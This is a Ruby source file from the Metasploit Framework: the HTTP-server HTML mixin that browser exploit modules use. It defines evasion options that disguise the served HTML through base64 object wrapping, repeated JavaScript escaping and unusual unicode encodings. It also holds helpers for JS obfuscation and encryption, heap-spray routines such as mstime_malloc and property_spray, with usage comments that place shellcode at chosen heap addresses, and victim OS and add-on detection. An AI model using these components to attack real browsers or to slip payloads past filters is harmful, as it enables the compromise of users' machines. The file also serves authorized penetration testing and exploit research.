
module Msf

###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::HTML

  include Msf::Exploit::Remote::HttpServer

  UTF_NONE         = 'none'
  UTF_7            = 'utf-7'
  UTF_7_ALL        = 'utf-7-all'
  UTF_8            = 'utf-8'
  UTF_16_LE        = 'utf-16le'
  UTF_16_BE        = 'utf-16be'
  UTF_16_BE_MARKER = 'utf-16be-marker'
  UTF_32_LE        = 'utf-32le'
  UTF_32_BE        = 'utf-32be'

protected

  def initialize(info = {})
    super

    register_evasion_options(
      [
        # utf-8, utf-7 and utf-7-all are currently not supported by
        # most browsers.  as such, they are not added by default.  The
        # mixin supports encoding using them, however they are not
        # listed in the Option.
        OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', UTF_NONE, [UTF_NONE, UTF_16_LE, UTF_16_BE, UTF_16_BE_MARKER, UTF_32_LE, UTF_32_BE]]),
        OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
        OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)',  0]),
      ], Exploit::Remote::HttpServer::HTML)
  end

  #
  # Obfuscates symbols found within a javascript string.
  #
  # Returns an ObfuscateJS object
  #
  def obfuscate_js(javascript, opts)
    js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
    js.obfuscate
    return js
  end

  #
  # Encrypts a given javascript string using the provided key.
  #
  # Returns a string containing the encrypted string and a loader
  #
  def encrypt_js(javascript, key)
    Rex::Exploitation::EncryptJS.encrypt(javascript, key)
  end

  #
  # Returns the heaplib javascript, including any custom javascript supplied
  # by the caller.
  #
  def heaplib(custom_js = '', opts = {})
    Rex::Exploitation::HeapLib.new(custom_js, opts).to_s
  end

  #
  # Returns the heaplib2 javascript
  #
  def js_heaplib2(custom_js = '', opts = {})
    @cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={})
  end

  def js_base64
    @cache_base64 ||= Rex::Exploitation::Js::Utils.base64
  end


  #
  # Downloads data using ajax
  #
  # Supported arguments:
  # method => Optional. HTTP Verb (eg. GET/POST)
  # path   => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you
  #           must use a relative path, otherwise you will be blocked by the browser.
  # data   => Optional. Data to pass to the server
  #
  # Example of using the ajax_download() function:
  # For IE, your web server has to return this header to download binary data:
  # "text/plain; charset=x-user-defined"
  #    <script>
  #    #{js_ajax_download}
  #
  #    ajax_download({path:"/test.bin"});
  #    </script>
  #
  def js_ajax_download
    @cache_ajax_download ||= Rex::Exploitation::Js::Network.ajax_download
  end


  #
  # Transfers data using a POST request
  #
  def js_ajax_post
    @cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post
  end

  #
  # This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
  # suitable for a no-spray technique.  There should be an allocation that contains an array of
  # pointers to strings that we control, and each string should reside in its own buffer.
  # Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
  # Internet Explorer 8 or prior.  Note that "mstime_malloc" also requires a rather specific
  # writing style, so make sure you have the following before using:
  #   * You must have the following at the beginning of your HTML file:
  #     	<!doctype html>
  #       <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
  #   * You must have the following in <meta>:
  #     	<meta>
  #           <?IMPORT namespace="t" implementation="#default#time2">
  #       </meta>
  #
  # The "mstime_malloc" JavaScript function supports the following arguments:
  #   shellcode     => The shellcode to place.
  #   offset        => Optional. The pointer index that points to the shellcode.
  #   heapBlockSize => Object size.
  #   objId         => The ID to your ANIMATECOLOR element.
  #
  # Example of using "js_mstime_malloc":
  #     <script>
  #     #{js_mstime_malloc}
  #
  #     shellcode = unescape("%u4141%u4141%u4141%u4141%u4141");
  #     offset    = 3;
  #     s         = 0x58;
  #     mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
  #     </script>
  #
  def js_mstime_malloc
    @cache_mstime_malloc ||= Rex::Exploitation::Js::Memory.mstime_malloc
  end

  #
  # This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
  # function to trigger allocations by ntdll!RtlAllocateHeap.  It is based on Corelan's
  # publication on "DEPS – Precise Heap Spray on Firefox and IE10".  In IE, the shellcode
  # should land at address 0x0c0d2020, as this is the most consistent location across
  # various versions.
  #
  # The "sprayHeap" JavaScript function supports the following arguments:
  #   shellcode     => The shellcode to spray in JavaScript.  Note: Avoid null bytes.
  #   objId         => Optional. The ID for a <div> HTML tag.
  #   offset        => Optional. Number of bytes to align the shellcode, default: 0x00
  #   heapBlockSize => Optional. Allocation size, default: 0x80000
  #   maxAllocs     => Optional. Number of allocation calls, default: 0x350
  #
  # Example of using the 'sprayHeap' function:
  #   <script>
  #   #{js_property_spray}
  #
  #   var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
  #   sprayHeap({shellcode:s, heapBlockSize:0x80000});
  #   </script>
  #
  def js_property_spray
    @cache_property_spray ||= Rex::Exploitation::Js::Memory.property_spray
  end

  def js_heap_spray
    @cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray
  end

  def js_explib2
    @explib2 ||= ::Rex::Exploitation::Js::Memory.explib2
  end

  def js_explib2_payload(payload="exec")
    @explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload)
  end

  def js_os_detect
    @cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
  end

  def js_ie_addons_detect
    @cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons
  end

  def js_misc_addons_detect
    @cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons
  end

  # Transmits a html response to the supplied client
  #
  # HTML evasions are implemented here.
  def send_response_html(cli, body, headers = {})
    body = body.to_s.unpack("C*").pack("C*")
    if datastore['HTML::base64'] != 'none'
      case datastore['HTML::base64']
        when 'plain'
          body = Rex::Text.encode_base64(body)
        when 'single_pad'
          body = Rex::Text.encode_base64(' ' + body)
        when 'double_pad'
          body = Rex::Text.encode_base64('  ' + body)
        when 'random_space_injection'
          body = Rex::Text.encode_base64(body)
          new = ''
          while (body.size > 0)
            new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
          end
          body = new
      end

      body = 	'<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
          'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
          body + '">Could not render object</OBJECT></BODY></HTML>'
    end

    if datastore['HTML::javascript::escape'] > 0
      datastore['HTML::javascript::escape'].times {
        body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
      }
    end

    if [UTF_16_LE, UTF_16_BE, UTF_32_LE, UTF_32_BE, UTF_7, UTF_8].include?(datastore['HTML::unicode'])
      headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode']
      body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
    else
      # special cases
      case datastore['HTML::unicode']
        when UTF_16_BE_MARKER
          headers['Content-Type'] = 'text/html'
          body = "\xFE\xFF" + Rex::Text.to_unicode(body, UTF_16_BE)
        when UTF_7_ALL
          headers['Content-Type'] = "text/html; charset=#{UTF_7}"
          body = Rex::Text.to_unicode(body, UTF_7, 'all')
        when UTF_NONE
          # do nothing
        else
          raise RuntimeError, 'Invalid unicode.  how did you get here?'
      end
    end

    send_response(cli, body, headers)
  end

end

end

